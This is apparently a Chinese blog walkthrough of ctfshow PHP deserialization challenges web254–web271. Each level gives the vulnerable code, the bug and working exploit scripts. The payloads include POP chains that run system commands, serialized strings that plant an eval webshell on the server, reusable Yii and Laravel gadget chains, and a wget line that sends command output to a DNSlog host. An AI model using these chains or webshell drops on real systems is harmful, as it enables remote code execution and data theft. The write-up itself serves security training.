web入门_反序列化

web254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

代码审计,首先初始ctfshowuser类,在第二层if当中首先执行login方法,用于判断我们get传入的参数username和password是否与类中一致,发现用户名和密码都是xxxxxx,所以payload:?username=xxxxxx&password=xxxxxx即可获取flag

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

首先通过反序列化获取对象(序列化将对象保存到字符串,反序列化将字符串恢复为对象),之后 checkvip要求是true,之后执行vippnekeygetflag获取flag

1
2
3
4
5
6
7
8
<?php
class ctfShowUser{
public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>

payload:

1
2
?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

1
2
3
4
5
6
7
8
9
<?php
class ctfShowUser{
public $username='yn8rt';
public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>

增加了一个条件,让username!=password就行

1
2
?username=yn8rt&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22yn8rt%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

代码审计,魔法函数_construct当对象被创建的时候自动调用,对对象进行初始化,当所有的操作执行完毕之后,需要释放序列化的对象,触发_destruct()魔术方法

因此我们只需要在执行_construct()的时候初始化backDoor类,方便我们进行命令执行的利用,之后反序列化结束后,会执行_destruct(),此时eval($this->code);等价于eval(system(‘cat flag.php’);)

因此为了实现这个目的首先去掉我们不需要的info类,下面
构造pop链(由于配上private有特殊不可见字符不想手动处理所以进行url编码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));

payload:

1
2
username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

web258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

多了一个正则匹配
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))
意思为过滤O:数字
这种情况可用+绕过,如:O:+

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a=serialize(new ctfShowUser());
$a=str_replace('O:','O:+',$a);
echo urlencode($a);

payload:

1
2
?username=1&password=1
Cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

web260

1
2
3
4
5
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

正则匹配,直接输出flag

1
2
3
4
5
6
7
8
<?php
class ctfshow{
public $a='ctfshow_i_love_36D';

}
$b=serialize(new ctfshow());
echo urlencode($b);

web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

当code==0x36d(877),就可以写入文件

1
2
3
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}

code的值在反序列化的时候传入,所以username应该为877+非数字,这样就满足$this->code==0x36d条件了,弱比较877==877.php为真,username可以写成php,和passowrd写成一句话木马,

1
2
3
4
5
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}

PHP7.4.0+版本,如果类中同时定义了_unserialize()和_wakeup()两个魔术方法,则只有_unserialize()方法会生效,_wakeup()方法会忽略

构造username和password的值把shell写入文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class ctfshowvip{
public $username;
public $password='';
public $code='';

public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_POST[1]);?>';

}

}
echo urlencode(serialize(new ctfshowvip()));
?>

payload

1
?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3Bs%3A0%3A%22%22%3B%7D

然后进入877.php中,POST 1=system(‘cat /f*’);

web262

本题有两种解法,直接构造类和字符逃逸
解法一:
注释中有一个.php文件,直接进入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

最下面的if的意思是在cookie中给msg传入message序列化后进行base64编码的值,token值是可以改变的,把token变为admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
echo base64_encode(serialize(new message()));
?>

payload:

1
Cookie:mag=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

解法二:字符逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$msg = new message("1","2",'fuck');
$umsg = str_replace('fuck', 'loveU', serialize($msg));


echo serialize($msg);

echo $umsg;

对比字符前后序列化字符的长度的值,过滤后$to的长度是4,但里面有5个字符,这时候进行反序列化,实际上也只会截取4个字符,原本U后面的引号前移一位,这时候就会逃逸出一个字符U,很显然短变成长,每次转换多一个字符从fuck变为loveU,就会多逃逸一个字符s:4:"love"U;s:5:"token";s:4:"user";}

1
2
3
4
前:
s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
后:
s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}

这时候,如果我们想让token只变成admin的话,我们可以让它逃逸出来,我们先在$to传入fuck";s:5:"token";s:5:"admin";},fuck后要跟引号,原理和sql注入一样,用双引号把$to闭合了,最后用}把反序列化给闭合了,反序列化的时候就会忽略后面的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$msg = new message("1","2",'fuck";s:5:"token";s:5:"admin";}');
$umsg = str_replace('fuck', 'loveU', serialize($msg));

echo serialize($msg);

echo $umsg;

观察结果,转换前$to的值应该为s:31:"fuck";s:5:"token";s:5:"admin";}"正好31个字符,转换后会多一个字符,这时候$to的值为s:31:"loveU";s:5:"token";s:5:"admin";"后面的}逃逸出来了

1
2
3
4
5
前:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"fuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
后:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"loveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

这时候进行反序列化的时候实际接收的值应该为{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"loveU";s:5:"token";s:5:"admin";"};s:5:"token";s:4:"user";}(双引号前移一位)

“;s:5:”token”;s:5:”admin”;}的长度为27,要让它逃逸出来,要转换27次才行,我们构造一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$msg = new message("1","2",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$umsg = str_replace('fuck', 'loveU', serialize($msg));

echo serialize($msg);

echo urlencode(base64_encode($umsg));

转换前s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}"正好135位
转换后s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU也正好135位,后面的27位字符”;s:5:”token”;s:5:”admin”;}逃逸出来了,第一个字符”会补上去闭合$to

1
2
3
4
5
前:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
后:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

最后反序列化时接收的值到了{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}已经结束了,用}闭合了,后面拼接的”;s:5:”token”;s:4:”user”;}不是反序列化的格式,所以直接被忽略了,这时候通过反序列化就成功把token的值改成admin了

在index.php页面传入,带着cookie去访问message.php,拿到flag

web264

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg'])); //session中取message
if($msg->token=='admin'){
echo $flag;
}
}

需要$token='admin';经过序列化是这样的s:5:"token";s:5:"admin";,加上闭合";s:5:"token";s:5:"admin";}一共27个字符,每次替换增加一个字符,需要27个fuck吃掉构造函数的$token=’user’;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

function filter($msg){
return str_replace('fuck','loveU',$msg);
}

$msg=new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$msg_u=serialize($msg);
$msg_1=filter($msg_u);
echo $msg_1;

payload:

1
?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

在message.php中Cookie:msg=12

web265

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

只能改变password的值,因为token下面有赋值,要让$this->token===$this->password,可以用引用类型$this->password = &$this->token;,&和c语言指针类似,取地址

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t='',$p=''){
$this->token=$t;
$this->password = &$this->token;
}
}
echo serialize(new ctfshowAdmin())
?>

payload:

1
?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:0:"";s:8:"password";R:2;}

web266

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}


destruct会在脚本结束后销毁,而抛出异常导致无法立即执行destruct,所以我们要进行快速析构

原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。

方法
1.改掉属性的个数
2.删掉结尾的}

web267

源码最下面发现使用了yii框架

通过admin/admin登录,在几个页面中挨个查看源码
在about中发现注释的源码<!--?view-source -->
在后面get传数据/index.php?r=site%2Fabout&view-source
得到一个新的代码

1
2
///backdoor/shell
unserialize(base64_decode($_GET['code']))

继续进入?r=backdoor/shell&code=123
报错了
找一个yii利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

system被过滤了

1
2
3
4
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'wget `pwd|base64`.n2ybgz.dnslog.cn';
}

利用dnslog得到web目录/var/www/html/basic/web(用base64解码)

1
2
3
4
5
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval(\$_POST[g]);?>' > /var/www/html/basic/web/3.php";
}


进入3.php
payload:

1
2
POST:
g=system('cat /flag');

web268

前面步骤与267相同,admin/admin登录
在输入code时发现没有回显,说明yii链被禁用或者关键词被过滤
所以本题换一种yii链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace yii\rest {
class Action extends \yii\base\Action
{
public $checkAccess;
}
class IndexAction extends Action
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\base {
class BaseObject
{
//
}
class Action
{
public $id;
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult extends BaseObject
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace{
$exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[g]);?>" > /var/www/html/basic/web/3.php');
echo base64_encode(serialize($exp));
}


进入3.php
payload

1
2
POST:
g=system('cat /flags');

web269

与web268相同,使用同样的yii链
进入3.php

1
2
POST:
g=system('cat /flagsa');

web270

与web268相同,使用同样的yii链
进入3.php

1
2
POST:
g=system('cat /flagsa');

web271

根据 * Laravel - A PHP Framework For Web Artisans可知用的是Laravel框架
Laravel框架有直接可以使用的反序列化链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('tac /f*'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>


web入门_反序列化
http://example.com/2023/08/05/fanxuliehua/
作者
奇怪的奇怪
发布于
2023年8月5日
许可协议